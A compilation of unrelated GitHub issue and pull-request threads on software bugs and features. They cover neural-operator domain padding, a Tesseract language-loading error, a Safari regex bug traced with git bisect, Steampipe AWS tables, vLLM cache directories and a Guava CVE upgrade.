Good afternoon,
It looks like domain padding is working incorrectly as only one axis in my 2D solution is being padded.
The init function in the DomainPadding class converts the variable domain_padding to a list if it's a float or an int.  However, the pad function itself also does this.
Specifically, the problem appears to be the following lines:
https://github.com/neuraloperator/neuraloperator/blob/acf31d15e69c87322a00862b418d6afa9f5e84f5/neuralop/models/padding.py#L26-L27
And the issue can be fixed by simply removing them.
Attached are two examples made before and after removing the lines.  You can see the non-periodic boundary effects are now modelled accurately with the domain padding fix.
Thanks! :)

Thanks @itskobold for the great issue - reporting the issue clearly and even proposing a fix, wish they were all like this!
I fixed it and added a unit-test in #130.
I like your visualization -- would you be willing to add a small example of usage of the padding with that visualization? It would be a great addition! :)

Thanks @JeanKossaifi, that's very much appreciated!
I'm actually just finishing off a paper right now focussing on FNO modelling the 2D linear wave equation.  I talk a bit about domain padding in there and am preparing the figures for that section at the moment.  Would be more than happy to add some examples later this month and next based on these figures once everything else is out of the way :)
If you and your team are interested I'd be more than happy to forward you a pre-publication copy of the paper!


Merged project-template v10.2.0

Updated to project-template v10.2.0.
Adjusted for the new .env loader.

Codecov Report

Merging #670 into master will not change coverage.
The diff coverage is 0%.

@@           Coverage Diff            @@
##             master    #670   +/-   ##
========================================
  Coverage      30.9%   30.9%
  Complexity     1197    1197
========================================
  Files           106     106
  Lines          4057    4057
========================================
  Hits           1254    1254
  Misses         2803    2803

Impacted Files
Coverage Δ
Complexity Δ

webroot/robots.php
0% <0%> (ø)
0 <0> (ø)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 632f097...d75bfd2. Read the comment docs.


log.level for minimal log level to output

Allow level as an optional parameter for logger - minimal log level to output (options are conventional 'silly', 'debug', 'info', 'verbose', 'warn' and 'error').
Also possible to use environment variable LOG_LEVEL.
This is a candidate for incrementing minor version due to these breaking change reasons:
1 - Instead of logentries entry in .conf file, we have log and corresponding logentries_api_key as child property.
2 - typo fix in logger: accepts logentries_api_key instead of logentries_api_ley.
3 - transports parameter change in logger: previously needed to send {transports: transportsObject}, now only needed to use transportsObject itself.

Coverage decreased (-0.2%) to 19.258% when pulling 3212c86dc36ea4097a5773ae0fd0e70dcde1e2be on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.

Coverage decreased (-0.8%) to 18.632% when pulling 6d30b1afd4f09243d0e8db7f413369286a9db244 on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.

Coverage decreased (-0.8%) to 18.632% when pulling 6d30b1afd4f09243d0e8db7f413369286a9db244 on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.

Coverage decreased (-0.2%) to 19.258% when pulling 6d30b1afd4f09243d0e8db7f413369286a9db244 on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.

Coverage decreased (-0.2%) to 19.258% when pulling 6d30b1afd4f09243d0e8db7f413369286a9db244 on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.

Coverage decreased (-0.8%) to 18.632% when pulling 6d30b1afd4f09243d0e8db7f413369286a9db244 on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.

Coverage decreased (-0.8%) to 18.632% when pulling 6d30b1afd4f09243d0e8db7f413369286a9db244 on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.

Coverage decreased (-0.2%) to 19.258% when pulling 6d30b1afd4f09243d0e8db7f413369286a9db244 on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.

Coverage decreased (-0.2%) to 19.258% when pulling 6d30b1afd4f09243d0e8db7f413369286a9db244 on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.

Coverage decreased (-0.2%) to 19.258% when pulling 6d30b1afd4f09243d0e8db7f413369286a9db244 on COLU-961_decrease-logs into eba4eea977f3cadaf8a33e1b4295d6e0b155e10c on master.


Failed loading language 'eng'

I have installed tesseract using brew on my M1Pro, and my current version is:
tesseract 5.3.4
 leptonica-1.84.1
  libgif 5.2.1 : libjpeg 8d (libjpeg-turbo 3.0.0) : libpng 1.6.43 : libtiff 4.6.0 : zlib 1.2.12 : libwebp 1.3.2 : libopenjp2 2.5.2
 Found NEON
 Found libarchive 3.7.2 zlib/1.2.12 liblzma/5.4.4 bz2lib/1.0.8 liblz4/1.9.4 libzstd/1.5.5
 Found libcurl/8.4.0 SecureTransport (LibreSSL/3.3.6) zlib/1.2.12 nghttp2/1.55.1

I have checked and verified that eng.traineddata has been installed as well, and the path is correct. However on running tesseract on my code I get the error:
Error: Tesseract (legacy) engine requested, but components are not present in /opt/homebrew/share/tessdata/eng.traineddata!! Failed loading language 'eng' Tesseract couldn't load any languages! Could not initialize tesseract.
I have uninstalled and reinstalled tesseract and have even tried manually downloading the eng model from the github repo, making a custom path and using that, but it throws the same error. Was hoping someone could help with this.

Please use the Tesseract user forum for questions.
Typically this error occurs because users did not load eng.traineddata, but the web page for that file. Try to open /opt/homebrew/share/tessdata/eng.traineddata in a text editor. Is it HTML code? Then that's the reason.

Ah, sorry, I (and you) should have read the error message. "Tesseract (legacy) engine requested, but components are not present" gives the reason for the failure. You have installed a fast model which includes a neural network for the LSTM engine, but which does not support the legacy OCR engine.


Fix cert issues

Support adding CA certs on webOS <5.

Done. Could use some cleanup though.

Have given this a test.. Now able to install apps with success but items that need root elevation don't seem to work for newly installed apps but continue to work fine for those that were granted the elevation previously.  I use PicCap and HyperHDR. These work fine. But when I install the DVD screensaver, Aerial Screensaver or the VNCServer(Fixed) they don't work.
Hyperion.NG shows service elevated as No.

Same. Installed rev2, PicCap installed successfully, but couldn't elevate. After downgrading HC to 0.6.3 elevation was successful and PicCap ran as expected.

You haven't provided enough information to reproduce your problem. This isn't the appropriate place anyway.


shields.io doesn't work at all on Safari 15.2, macOS Monterey

Are you experiencing an issue with...
shields.io
🐞 Description
Safari: Version 15.2 (176<IP_ADDRESS>.6)
macOS: Monterey 12.1

Clicking on any links does nothing.
Clicking on badges does nothing.
Badge creator UI doesn't display.

I tried disabling all browser extensions in Safari, to no effect.
I tried restarting Safari, to no effect.
The web inspector console shows the following errors & warnings.
[Error] SyntaxError: Invalid regular expression: invalid group specifier name
	(anonymous function) (a5f660104e61081cc75f27105d31d879c7b5c92d-4b0c973ec07360cf14b8.js:2)
[Warning] The resource https://shields.io/page-data/category/size/page-data.json was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it wasn't preloaded for nothing.
[Warning] The resource https://shields.io/page-data/app-data.json was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it wasn't preloaded for nothing.

🔗 Link to the badge
No response
💡 Possible Solution
No response

This looks like it is related to, or possibly a duplicate of https://github.com/badges/shields/issues/7324
I don't use a mac so I can't confirm or reproduce this. I'm going to leave it tagged "question" for the moment pending a confirmation but I'm marking it "good first issue" as it would be really useful to get some help from the wider community on these Apple-specific issues.

@chris48s I don't know how much I can help with the fix, but I can certainly gather more info (debug console messages, for example) if needed.
As a starting point, can you tell me which platforms and browsers shields.io is tested on?

We run our frontend tests using cypress which is Chrome-based.
I also usually check frontend dependency bumps in Firefox on an ad-hoc basis.
My theory is that this issue is caused by https://github.com/sindresorhus/decamelize/issues/36 after upgrading decamelize in https://github.com/badges/shields/pull/7098
I've submitted a PR over at #7449 to revert decamelize to version 5. I have no way of testing this myself but is someone who has an i-Device of some description able to check the staging deploy at https://shields-staging-pr-7449.herokuapp.com/ and see if that fixes it in Safari? The staging deploy is on a dyno that goes to sleep so it might take a while to load

My Safari is 14.1.2 which works fine on https://shields.io/, so I can't verify this one way or another.

I also usually check frontend dependency bumps in Firefox on an ad-hoc basis.

Ditto. I know there are services out there that facilitate the execution of UI/functional style testing against various platform/browser matrices, but we definitely don't have anything like that in place and likely wouldn't have the budget for such a service anyway (though I imagine a few offer some free credits for open source)

I have no way of testing this myself but is someone who has an i-Device of some description able to check the staging deploy at https://shields-staging-pr-7449.herokuapp.com/ and see if that fixes it in Safari?

@chris48s Unfortunately, this doesn't work on Safari 15.2 either. Same behaviour as the production shields.io, I'm afraid. :(

I can confirm this bug on Safari 15.2 (176<IP_ADDRESS>.6).
Problem was introduced in 0854e90e9037e7398cc929502b1c74295c1702d5 and the last working commit is 8fcdb7642cf9077178b0a4b3aa619e1758d0aabf. I found it using git bisect.
Unfortunately Cypress does not support Safari, so I used https://playwright.dev instead.
playwright-test.spec.ts:
import { test, expect } from '@playwright/test';

test('basic test', async ({ page }) => {
  await page.goto('http://localhost:3000/');
  await page.click('a[href="/category/build"]');
  const pageTest = page.locator('body');
  await expect(pageTest).toContainText('/appveyor/build/:user/:repo');
});

test.sh
#!/bin/sh
set -x
git --no-pager show --name-only
rm -rf node_modules
git checkout -- .
npm i
npm i -D @playwright/test
npm i -D start-server-and-test
git checkout -- .
./node_modules/.bin/start-server-and-test 'npm start' 3000 'npx playwright test --browser webkit playwright-test.spec.ts'

and finally:
$ git bisect start HEAD 5a982f62e7e3077b0e16d122d4adb0229e037632
$ git bisect run ./test.sh
# [...]
0854e90e9037e7398cc929502b1c74295c1702d5 is the first bad commit

New staging deploy up. Can we try this one?
https://shields-staging-pr-7449.herokuapp.com/

Works perfectly (Safari 15.2 (176<IP_ADDRESS>.6)).

Confirmed working for me as well.
(macOS Monterey 12.1, Safari 15.2)
Yay! :tada:
Thank you very much @platan and @chris48s!


[Feature] Addition of SVG hover animation

Description
I want to add a svg hover animation over a text in text animation section, in which border animates over a text on hover

[X] I have checked the existing issues.
[X] I follow Contributing Guidelines of this project.
[X] I am a SWOC'24 contributor.

Code of Conduct

[X] I agree to follow this project's "Code of Conduct".

Provide the screenshot or demo of the component you want to add @JATIN0926

This is the animation , i should put it in text-animation section or buttons section ?
https://github.com/Rakesh9100/Beautiify/assets/124780421/08a371ce-5cef-47df-ad32-df20ee36fe07

Add this component in buttons section @JATIN0926

Ok then kindly assign this issue to me @Rakesh9100

@Rakesh9100  please kindly assign this issue to me so that I can start working on it and contribute to the website


Initial implementation of global accelerator tables

Adds the following tables:

aws_globalaccelerator_accelerator
aws_globalaccelerator_listener
aws_globalaccelerator_endpoint_group

Integration test logs

Logs
Add passing integration test logs here

Example query results

Results
Add example SQL query results here (please include the input queries as well)

In the aws_globalaccelerator_accelerator table, I believe we could add the hydrate call for DescribeAcceleratorAttributes, which would add 3 new valuable columns - https://docs.aws.amazon.com/global-accelerator/latest/api/API_DescribeAcceleratorAttributes.html. These additional tables provide an exciting insight into the logging component of accelerators.

Done: https://github.com/turbot/steampipe-plugin-aws/pull/1091/commits/5182502babfc0cde34d0dae7e5f53785cc1c7343

Is it feasible to use the parent hydrates for aws_globalaccelerator_endpoint_group and aws_globalaccelerator_listener tables instead of using the required key qual? Will it result in throttling?

I'm not sure I fully understand this question. Are you suggesting a single table? With the current three tables GA is modeled similar to ALBs, where listeners and target groups as separate tables.

aws_globalaccelerator_accelerator table is missing the tags_src column which is needed transform tags for the tags column. This will also preserve the original tags output as returned from the API.

Done: https://github.com/turbot/steampipe-plugin-aws/pull/1091/commits/666600ba4539f1c39c4eb7c97e69d27d28732401

Can we update the primary ARN columns in the tables to use arn? For instance, accelerator_arn in the aws_globalaccelerator_accelerator table could be normalized to use arn to allow us to use more generic queries in our mods. Please refer https://github.com/turbot/steampipe-plugin-aws/blob/main/aws/table_aws_dynamodb_table.go#L45 for more information.

Done: https://github.com/turbot/steampipe-plugin-aws/pull/1091/commits/fdf31f8ab384b89b85371e33fcf971865953d28a

Function names using Globalaccelerator should be updated to use GlobalAccelerator. For instance, listGlobalacceleratorEndpointGroups function should be updated to listGlobalAcceleratorEndpointGroups.

Done: https://github.com/turbot/steampipe-plugin-aws/pull/1091/commits/f85a354929a1823582d37db7856685a4281403e8

Thanks @nmische for working on the review comments 👍 .
Is it feasible to use the parent hydrates for aws_globalaccelerator_endpoint_group and aws_globalaccelerator_listener tables instead of using the required key qual? Will it result in throttling?

Apologies if the comment seemed like I am asking to unify the tables. My suggestion was to use the parent hydrate feature to make the List API call for the aws_globalaccelerator_listener table since the accelerator_arn is already returned by listGlobalAcceleratorAccelerators hydrate.
In the aws_globalaccelerator_listener table, we could potentially replace
		List: &plugin.ListConfig{
			KeyColumns: []*plugin.KeyColumn{
				{Name: "accelerator_arn", Require: plugin.Required},
			},
			Hydrate: listGlobalAcceleratorListeners,
		},

with
		List: &plugin.ListConfig{
			KeyColumns: []*plugin.KeyColumn{
				{Name: "accelerator_arn", Require: plugin.Optional},
			},
			ParentHydrate: listGlobalAcceleratorAccelerators,
			Hydrate: listGlobalAcceleratorListeners,
		},

This way the global accelerator listeners could be listed easily without having to pass the accelerator_arn.
You could take a look at - [aws_api_gateway_api_authorizer] (https://github.com/turbot/steampipe-plugin-aws/blob/main/aws/table_aws_api_gateway_api_authorizer.go) for more information.
Please let us know in case you have more questions.

Thanks for the additional feedback @misraved. I wasn't aware of the parent hydrate feature. Let me take a look at that and see how it works out.

@nmische Thanks for all of the great work so far on this PR!
For a little more background on parent hydrates, we like to use them in tables to reduce the number of required key quals to provide an easier querying experience for users. There are some places where we choose not to use them, e.g., if the parent and/or children resource types can have a lot of resources in a single region/account, this could create an unexpected amount of requests for the user when running a query like select * from aws_child_resource_table, as the parent hydrate function would result in all of the parent resources being listed first, and then for each parent resource, one or more children list calls would be made.
For the tables in this PR, it seems like the quotas for all involved resource types are pretty low, so hopefully the parent hydrate design works well for these tables, even for queries like select * from aws_globalaccelerator_endpoint_group and select * from aws_globalaccelerator_listener.
Hopefully that information was helpful, please let us know if you have anymore questions though!

@cbruno10 Thanks for the additional context. I started to work on this but need to figure out the double nested parent lookup for endpoints.
I'm heading out on vacation now and will pick this back up when I return in two weeks, assuming someone from turbot does not move this along in my absence.

@nmische We're happy to pick this up while you're out, but if you'd like to continue it when you're back from vacation, we're also ok waiting! Please let us know if you have any preference.

Finally getting back to this PR.

Is it feasible to use the parent hydrates for aws_globalaccelerator_endpoint_group and aws_globalaccelerator_listener tables instead of using the required key qual? Will it result in throttling?

I believe I have addressed this via 32823fc.
I initially attempted to set the parent hydrate for listGlobalAcceleratorEndpointGroups to be listGlobalAcceleratorListeners, which in turn has a parent hydrate of listGlobalAcceleratorAccelerators, however that resulted in errors. Am I correct in understanding that nested parent hydrate functions are not supported?

@nmische Welcome back 👋
I believe nested parent hydrates should work, but I can't recall any tables that use that pattern off of the top of my head. Can you please share what queries you're running along with the results/errors? Thanks!

Hey @cbruno10, here is a PR showing what I initially attempted: https://github.com/nmische/steampipe-plugin-aws/pull/1. The PR description has details on the query and error.

Hey @nmische , we recently did an overhaul of our service.go file, can you please take a look at the merge conflict and resolve it when you get a chance? Thanks!

@nmische @mdb Thanks for the new tables and docs! We'll most likely get these tables out in a new plugin version next week.

@cbruno10 Thanks for the help getting this over the finish line!


An bot can have multiple balls so i dont think you mean that.
But you could create an counter.
Add +1 when an bot is spawn subtract -1 if reset or disconnect event is triggered.
And return the counter with an websocket or what you prefer to show the counter clientside

Thanks @issy123


How to set cache dir?

How to set cache_dir for the model like huggingface AutoModel...

@zhuxiaosheng A quick look into the code give the answer :
https://github.com/vllm-project/vllm/blob/acbed3ef40f015fcf64460e629813922fab90380/vllm/engine/arg_utils.py#L17C5-L17C17
Basicly you need to add the download_dir argument in the LLM(download_dir = ...) init.

@Forbu  thanks a lot! btw, is there any documentation webpages that we can easily find such args?

@yuchenlin "the code is the documentation" :)

Is it possible to change the default cache dir of vllm.entrypoints.llm.LLM?

What is the rationale at vLLM for not respecting HF's own environment variable for the cache dir (i.e., HF_HOME) ?

@tilmanbeck Exactly my question too!

I don't get it. I can change the cache directory by setting HF_HOME .


Check file and method lengths

So a lot of the time, when I am looking for code smells it usually is when you have have a 2000 line file with 1000 lines in a single method.
A couple of length checkers would be good:
FILE_TOO_BIG
METHOD_TOO_BIG
Would like to see if I can implement these (the context variable looks like is the one that I want) but is there a way to configure this? So by default it's 2000 lines ?
I guess this goes along for many other rules?

I think FunctionLengthChecker does this.
You will see the default configuration in the cflint.definition.json.

This sounds like the rules EXCESSIVE_COMPONENT_LENGTH and EXCESSIVE_FUNCTION_LENGTH. You can configure ComponentLengthChecker.length and FunctionLengthChecker.length in your .cflintrc in parameters.

Not all CFML files are components. Does EXCESSIVE_COMPONENT_LENGTH check .cfm files (just checked: no).
For better or for worse, there will be a lot of CFML code out there in .cfm files(*), and there are length thresholds that could/should be applied there too.
(*) I'm working on a CFWHeels app, and for some reason best known to someone other than me, their approach to building classes is to have an mostly empty .cfc file which then includes a bunch of .cfm files which have the actual methods in it. This is - obviously - an antipattern, but there we go: it's a fairly significant CFML project that uses a lot of .cfm files...


Editing a catalog item no longer fails in a bad way

https://bugzilla.redhat.com/show_bug.cgi?id=1236966
Editing a catalog item will no longer fail with an error
If a resource pool or ems folder is removed from an
existing catalog item.

@miq-bot add_label bug

@miq-bot add_label provisioning

@gmcculloug please review

@gmcculloug - Updated with your requests.  Please review.


Update and revise contributing guide

I updated the contributing guide to better match the state of the project.  Removed out of date info, simplified some things, expanded on some other things.  Hopefully it's an overall improvement.

Sorry for being late to reviewing -- the updated CONTRIBUTING.md says to use npm install, but the dependencies are currently dev-dependencies, which require npm install --include=dev. We could make these normal dependencies if the intention is to not allow usage of Americana code by other projects(see #146), or we should update the docs to add the --include=dev. I could go either way.

In my experience npm install installs both dependencies and devDependencies unless running in a production context.  So adding --include=dev shouldn't be necessary when running the project for local development.
From the NPM Docs:

By default, npm install will install all modules listed as dependencies in package.json.

With the --production flag (or when the NODE_ENV environment variable is set to production), npm will not install modules listed in devDependencies. To install all modules listed in both dependencies and devDependencies when NODE_ENV environment variable is set to production, you can use --production=false.


Improve New-VesterConfig $Desired RegEx

Expected Behavior
New-VesterConfig successfully pulls the config value to populate from the $Desired line.
Current Behavior
The RegEx catches all instances of $cfg, instead of just the one desired. (Heyooo puns)
Possible Solution
Make dirty RegEx less dirty and more complicated
Be awesome and use the AST to properly parse the variable assignment
Steps to Reproduce (for bugs)
Try to run New-VesterConfig against the #176 version of the module, and watch it not populate a value for the new host VDS membership test. (Because "$cfg" is commented out in the fix block.)
Your Environment
#176

Have this working, it looks pretty sweet 😃 Will hopefully submit a PR today.


Collaboration Tool - Workshop for MVP

@gazhands I’m gonna assign this to you.

Who is this item with now? I’m confused in that it’s assigned to me — @gazhands ?

It's for all of us to do some research in the approach for a wiki eg. https://docs.google.com/document/d/1UtsQNh3V_cs-cEpjC4G2Li_ICPeLrm7TkbW9YyH13Jg/edit


Improve error handling

The default error handling of FastAPI is a bit weird. You get response bodies such as
{"detail":
    [
        {"loc": ["body", "title"], "msg": "field required", "type": "value_error.missing"}
    ]
}

This is not conform https://datatracker.ietf.org/doc/html/rfc7807. We want to conform to an international standard. As far as I know, rfc7807 is the most used international standard for error handling.
TODOs:

check if rfc7807 is the best international standard to comply to
make sure errors are rfc7807 compliant
maybe check all the errors that are thrown around, and improve on then, to improve the user /developers experience

As it seems RFC 7807 is still the most widely recognized international standard. The standard structure seems suitable to our work.


Index now loads all dreams and caches cards

What it says on the package.
First we disable the pagination by killing the page params in the can_apply_filters.rb file and then we enable caching of the camp rendering. This cuts load times on my dev machine from 6 -> 0.6 sec with only about 20mb extra ram use afaik.

Well played sir! 🕺🏼
On Sun, 16 Feb 2020 at 13:15, Max<EMAIL_ADDRESS>wrote:

Merged #27 https://github.com/theborderland/borderland-dreams/pull/27
into master.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/theborderland/borderland-dreams/pull/27?email_source=notifications&email_token=AB3MU6I4GSWADAPDLYY3NRTRDEU6ZA5CNFSM4KWCTQYKYY3PNVWWK3TUL52HS4DFWZEXG43VMVCXMZLOORHG65DJMZUWGYLUNFXW5KTDN5WW2ZLOORPWSZGOWVE5TGI#event-3041515929,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AB3MU6J2P6NJ2COQVGXP6ETRDEU6ZANCNFSM4KWCTQYA
.

Bravo 👷
On Sun, Feb 16, 2020 at 2:15 PM Max<EMAIL_ADDRESS>wrote:

Merged #27 https://github.com/theborderland/borderland-dreams/pull/27
into master.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/theborderland/borderland-dreams/pull/27?email_source=notifications&email_token=AAH4CTWQAK6TIIFUJKLWE6TRDEU6XA5CNFSM4KWCTQYKYY3PNVWWK3TUL52HS4DFWZEXG43VMVCXMZLOORHG65DJMZUWGYLUNFXW5KTDN5WW2ZLOORPWSZGOWVE5TGI#event-3041515929,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAH4CTW3YFIULE2ECMWOEPDRDEU6XANCNFSM4KWCTQYA
.


Update PPP and UG

Update UG for commands that require an index to be specified, such that the index given must be below a set limit.

Codecov Report

Merging #156 (6f687fe) into master (1c079ba) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #156   +/-   ##
=========================================
  Coverage     74.20%   74.20%
  Complexity      645      645
=========================================
  Files           100      100
  Lines          1989     1989
  Branches        236      236
=========================================
  Hits           1476     1476
  Misses          424      424
  Partials         89       89

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Dashboard Nav Clean Up Proposal

There's a couple ux issues I am hoping to remedy on the dashboard:

Nested navigation
Changing headings

Current

Proposed

I propose the following:

Removing the "Observations by everyone" tab because the /observation screen has so much more value and this is essentially a duplicate view
"All Updates" and "On Your Content" are really more views of News-ish/Update content so why not combine them with "Comments by Everyone"
Change the labels to something less wordy. "You" could also be "Your Content". I'm open to other label names. My goal is to just shorten things a bit. Feel free to add your suggestions.
The page title (in this case "carrieseltzer") should never change because the tabs exist within the "username" section and the active tab indicates what subsection you're in.
Update the tab icons to these interim solution icons which we are bootstrap icons and hopefully we already have this font available on the site. (Just a note... I need to make the ID icon and the Observations icon should be a binoculars.)

Disregard the tab order and tab icons for now. However, I do think the "IDs" tab should be labelled "Identifications" if we can fit that. Also,
Another Idea
Here is another idea, but based on how cumbersome to do, it might be better to do them during a dashboard revamp. Just wanted toss this out there so you can see what I was thinking for the future.

I'd like to move the Calendar tab into the "Observations" tab as a view of the observations like map, grid and list because it is essentially a view of your obs. However, I guess this would probably require a grid, list and map view of the observations.

Looks like this is done.


Updates to datamodel

Add device_version field to DeviceType. A new version of a device type might appear, we need to capture this.
Add multicolumn unique index on DeviceType fields producer, model and version
Add source_name field to Source. The idea is that a source_id can be a unique, custom identifier (e.g. a UUID), and the source_name is for display purposes, but also needs to be unique.

Thanks, very useful! I have incorporated your comments in my working branch for the source registration feature. So i will go ahead with this merge now.


Fb add get attr documentation

Closes #65

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 34.03%. Comparing base (bf3fea0) to head (f4b3770).

:exclamation:  There is a different number of reports uploaded between BASE (bf3fea0) and HEAD (f4b3770). Click for more details.
HEAD has 1 upload less than BASE

Flag
BASE (bf3fea0)
HEAD (f4b3770)

3
2

Additional details and impacted files
@@             Coverage Diff             @@
##              dev      #92       +/-   ##
===========================================
- Coverage   50.92%   34.03%   -16.90%
===========================================
  Files          58       38       -20
  Lines        7348     5462     -1886
  Branches     1604     1239      -365
===========================================
- Hits         3742     1859     -1883
- Misses       3540     3544        +4
+ Partials       66       59        -7

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


SoC final report blog

Fixes # .
Make sure these boxes are checked before creating your pull request -- thank you!

[x] Add Blog Header, including title, author, date.
For example:
---
title: "Your Great Blog Title"
author: your_github_id
image: /assets/2020/08-your-blog-slug/teaser.jpg
---

YOUR_FIRST_SENTENCE_SHOULD_BE_A_SUMMARY_FOR_YOUR_POST

[x] Keep all filenames & url as lowercase, and use - to connect words instead of space. e.g. 2017-10-06-wechat-pc-impactor instead of 2017-10-06-WeChat PC Impactor,

[x] Embed the photo & video before publishing, save all external file to a folder named by ${MONTH}-${YOUR_BLOG_SLUG}/ under /assets/2020 directory.

[x] Add teaser image for the blog

[x] Add your self as an author to the author data file at https://github.com/wechaty/wechaty.js.org/blob/master/_developers/YOUR_GITHUB_USERNAME.md with your GitHub username. And please also remember to reference yourself with the Github username in your blog post, so that we can have nice author information besides your blog after we published it!
For excample:
---
name: Jiarui LI (李佳芮)
site: https://lijiarui.github.io
bio: 句子互动创始人 & CEO，微软人工智能最具价值专家 (AI MVP)
avatar: /assets/developers/lijiarui/avatar.png
email<EMAIL_ADDRESS>twitter: https://weibo.com/u/2175505900
---

Here is the example file:

lijiarui.md: https://github.com/wechaty/wechaty.github.io/blob/master/_developers/lijiarui.md
It will shown like this on wechaty blog: https://wechaty.github.io/developers/lijiarui/

To read more about the contribute guideline, visit: https://github.com/wechaty/wechaty.js.org#contribute-guideline

@wj-Mcat  Please help @kxz18  posting his blog.

Please change as I request:

add tag for this blog
add image for this blog as the blog link request.

Please add these two main features for this blog, thanks a lot. Waiting for your new commit.

Please change as I request:

add tag for this blog
add image for this blog as the blog link request.

Please add these two main features for this blog, thanks a lot. Waiting for your new commit.

Both have been done in commits of yesterday.


sum_blue_bureau01 OK

I edited the other furniture actors with these review changes too because they're all the same code


WIP: Updated faq.rst

Updated FAQ section of the Overview documentation

Added small tweak as we offer 4 non-production environments in PS

The branch has conflicts, but the file has been approved by Ian so I will close this PR and do the edits directly to the correct doc.


Start of speed testing and pydantic config changes

NOTE: there is no 'build' state for ENV_STATE now. It is either 'prod' or 'test'. We can add build back in if needed. pydantic now looks for a relative path of the module rather than just in the directory to get the env file. This works a lot better now as we can start the app, alembic etc from wherever.
Hopefully everything else makes sense.

I could not get the REG into the docker-compose file, I tried various methods bu too no avail. As for the comments then I can put it back but as it was not documented or used I presumed it was old code. I can put it back but someone should document what it is there for or add comments to the commented out code.

Good to know, thanks.  Maybe Valerio can figure out REG in https://agr-jira.atlassian.net/browse/SCRUM-1221
About the removed commented out code, it goes with commented out code later that has explanations, and I don't know what best practices are.  I'll defer to @nuin since he's been doing the refactoring of the xml_processing

Best way is to allow a flag set on running (preferable via an argument supplied to the script) to stay wether the code is ran or not usually.

Cool, makes sense.


[SPARK-19320][MESOS] Allow guaranteed amount of GPU to be used when launching jobs

What changes were proposed in this pull request?
Currently, Spark only allows specifying overall GPU resources as an upper limit, this adds a new conf parameter to allow specifying a hard limit on the number of GPUs for each executor while still respecting the overall GPU resource constraint.
Does this PR introduce any user-facing change?
No
How was this patch tested?
Added Unit Test

Can one of the admins verify this patch?

Can one of the admins verify this patch?

cc @tgravescs FYI

I'm not familiar with the mesos side and we didn't have the resource scheduling stuff to it, would be great to get someone familar with mesos to review.


[fix][sec] Upgrade Guava to 32.0.1 to address CVE-2023-2976

Motivation
The OWASP dependency check failed. Link: https://github.com/apache/pulsar/actions/runs/5424405010/jobs/9865506786?pr=20698
Error:  Failed to execute goal org.owasp:dependency-check-maven:8.2.1:aggregate (default) on project pulsar:
Error:
Error:  One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
Error:
Error:  canal.client-1.1.5.jar/META-INF/maven/com.google.guava/guava/pom.xml: CVE-2023-2976(7.1)
Error:  clickhouse-jdbc-0.4.6-all.jar/META-INF/maven/com.google.guava/guava/pom.xml: CVE-2023-2976(7.1)
Error:
Error:  See the dependency-check report for more details.
Error:  -> [Help 1]
Error:
Error:  To see the full stack trace of the errors, re-run Maven with the -e switch.
Error:  Re-run Maven using the -X switch to enable full debug logging.
Error:
Error:  For more information about the errors and possible solutions, please read the following articles:
Error:  [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException
Error:
Error:  After correcting the problems, you can resume the build with the command
Error:    mvn <args> -rf :pulsar
Error: Process completed with exit code 1.

The PR https://github.com/apache/pulsar/pull/20459 has addressed CVE-2023-2976 3 weeks ago
In the doc of CVE-2023-2976, the version 32.0.1 is suggested now
Modifications
Upgrade Guava to 32.0.1
Documentation

[ ] doc
[ ] doc-required
[x] doc-not-needed
[ ] doc-complete

Matching PR in forked repository
PR in forked repository: x

@lhotari

Please use version 32.1.1-jre since 32.0.1-jre has broken Gradle metadata. See https://github.com/google/guava/releases

FIxed, please take a look again, thanks


Overriding query in middlware does not propagate to handler

Hello,
I'm Trying to override a property in query. But in downstream handler I still see original query.

Sorry @msuntharesan - currently that's intended behavior... each route that's matched repopulates the params/query from the request that's passed to it, meaning params+query may get reset multiple times.
Discussing the implications of locking that in to "set once" behavior for the query, but you're describing something of an edge case... most would be fine with leaving query more or less as "read only", and modify a different branch of the request (that they control).
const { Router } from 'itty-router'
const { json } from 'itty-router-extras'

// we make some middleware to create options from the original query
const withOptions = request => {
  request.options = { ...request.query }
}

const router = Router()

router
  // global middleware
  .all('*', withOptions) // will only fire once, upstream

  // upstream match
  .get('*', ({ options }) => {
    options.limit = Number(options.limit) + 5
  })

  // downstream match
  .get('*', ({ options, query }) => json({ options, query }))

 // GET /foo?limit=10  --> { options: { limit: 15 }, query: { limit: '10' } }

Leaving the behavior as-is also allows for some pretty twisted request replacement flows (through request.proxy) that would allow request rewrites mid-router.  We’ll revisit this issue if enough people bring it up (or upvote this issue), but for now, workarounds are the answer!


update change.md

@twhetzel please review and merge.
This is the last piece of the release. It adds the summary of changes to changes.md.

I was out sick yesterday. Was this not updated?

I don't know what you mean by "updated".
The PR was created to update the change.md file and the PR needs to be reviewed and merged.
(note that we could make a decision this PR can be merged without review moving forward)

updated --> re-assigned to someone else so it would be merged for the release since I was no longer available


CRM failed

Hi, thanks for another lighning fast implementation. Is 20 gb of vram not enough?
